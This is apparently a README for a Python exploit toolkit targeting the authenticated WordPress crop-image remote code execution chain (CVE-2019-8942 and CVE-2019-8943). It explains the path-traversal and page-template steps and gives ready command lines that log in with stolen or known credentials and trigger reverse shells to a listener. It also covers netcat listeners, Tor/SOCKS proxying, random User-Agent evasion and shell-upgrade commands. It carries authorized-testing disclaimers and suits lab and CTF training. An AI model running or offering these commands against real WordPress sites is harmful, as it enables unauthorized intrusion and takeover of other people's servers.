
Python exploit toolkit for WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943
Python3 implementation of the authenticated WordPress crop-image exploitation chain. The repository is organized around two independent workflows: a manual OSCP-style script and a fully automated script with an integrated reverse-shell handler.
Use this only in authorized labs, CTFs, training platforms, or systems where you have explicit permission to test.
The exploit chain targets the vulnerabilities tracked as:
CVE-2019-8942CVE-2019-8943The public Metasploit module for this vulnerability describes the affected versions as:
WordPress 5.0.0 and WordPress <= 4.9.8
A valid WordPress account with media upload/edit permissions is required. In many lab environments, an Author-level user is enough.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg is the default JPG carrier used by the OSCP-style script. It is included so the manual workflow works out of the box without searching for a random image.
autoexploit.py is self-contained and includes its own hexadecimal JPG carrier internally, but it can also accept a custom JPG with -i.
python3 -m pip install -r requirements.txt
The only Python package required is:
requests
If you want SOCKS proxy support, install requests with SOCKS extras in your environment:
python3 -m pip install 'requests[socks]'
Both scripts are standalone. Neither imports code from the other.
exploit_oscp.py keeps the workflow explicit. It prepares the image carrier, performs the authenticated WordPress exploit chain, confirms command execution, and triggers a reverse shell to the listener that you started manually.
It does not start a handler automatically and does not use Metasploit, Meterpreter, or msfvenom.
Start your listener first:
nc -lvnp 443
Run the exploit using the default image.jpg:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py is designed for speed. It can run with only target credentials and will try to select the callback IP and listener port automatically.
It performs the full exploitation flow, starts a local listener, tries multiple reverse-shell payload styles, and opens a cleaner interactive console with colorized local status messages and quiet TTY-upgrade handling.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
HTTP proxy through Burp:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS proxy:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
Custom User-Agent:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
Random User-Agent:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
This is not a normal PHP upload. WordPress expects image content, processes the file through the media editor, and creates a cropped image. The exploit chain then abuses attachment metadata and path traversal to place a cropped image inside the active theme directory. Finally, the cropped file is referenced as a page template so WordPress includes it as PHP.
A random JPG with PHP placed in fragile EXIF metadata may fail because GD can strip or re-encode metadata during crop processing. This repository keeps the workflow clear:
exploit_oscp.py uses the included image.jpg by default or a custom image passed with -i.autoexploit.py contains an internal hexadecimal carrier so it remains self-contained.async-upload.php._wp_attached_file manipulation to influence the crop output path._wp_page_template to the cropped JPG name.0 GET parameter.Check that the WordPress version is vulnerable and that the account can upload and edit media.
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
Check the callback IP and listener.
ip addr show tun0
nc -lvnp 443
Then run the OSCP script again with the correct --lhost.
Use the proxy option explicitly:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Install SOCKS support:
python3 -m pip install 'requests[socks]'
Basic reverse shells are often limited. The automated script tries to upgrade the session automatically. In OSCP mode, upgrade manually after receiving the callback:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Press Ctrl+Z locally, then run:
stty raw -echo; fg
Inside the shell:
export TERM=xterm
exploit_oscp.py is intentionally manual:
autoexploit.py;LHOST and LPORT;The intended workflow is:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
Research and vulnerability chain were publicly documented by the original researchers and later implemented in public exploitation frameworks.
Python implementation and lab workflow by SpeatX.
This repository is provided for authorized security testing, CTFs, training labs, and educational research.
Do not run it against systems you do not own or do not have explicit permission to test.
| Script | Best for | Image handling | Shell handling |
|---|
exploit_oscp.py | OSCP-style/manual exploitation | Uses image.jpg by default, or -i custom.jpg | You start nc manually |
autoexploit.py | Fast lab use and repeat testing | Uses an embedded hex JPG by default, or -i custom.jpg | Starts the listener, triggers callbacks, and opens an interactive console |
| Option | Required | Default | Meaning |
|---|
-t, --target | Yes | None | Target WordPress base URL, for example http://target.local/ |
-u, --username | Yes | None | WordPress username |
-p, --password | Yes | None | WordPress password |
-i, --image | No | image.jpg | JPG carrier to prepare and upload |
--lhost | Yes | None | Your callback IP, usually your VPN/tun0 IP |
--lport | Yes | None | Port where your manual listener is waiting |
--proxy | No | None | Proxy URL, for example http://127.0.0.1:8080 or socks5://127.0.0.1:9050 |
--user-agent | No | Built-in | Custom User-Agent header |
--random-user-agent | No | Disabled | Use a random browser-like User-Agent |
--timeout | No | 20 | HTTP timeout in seconds |
--debug | No | Disabled | Print HTTP debug output and save useful failed responses |
| Option | Required | Default | Meaning |
|---|
-t, --target | Yes | None | Target WordPress base URL |
-u, --username | Yes | None | WordPress username |
-p, --password | Yes | None | WordPress password |
-i, --image | No | Embedded hex JPG | Optional custom JPG carrier |
--lhost | No | Auto-detected | Callback IP used by the reverse shell |
--lport | No | Free local port | Local listener port |
--listen-timeout | No | 12 | Seconds to wait for each reverse-shell attempt |
--proxy | No | None | Proxy URL, for example http://127.0.0.1:8080 or socks5://127.0.0.1:9050 |
--user-agent | No | Built-in | Custom User-Agent header |
--random-user-agent | No | Disabled | Use a random browser-like User-Agent |
--timeout | No | 20 | HTTP timeout in seconds |
--debug | No | Disabled | Print HTTP debug output and save useful failed responses |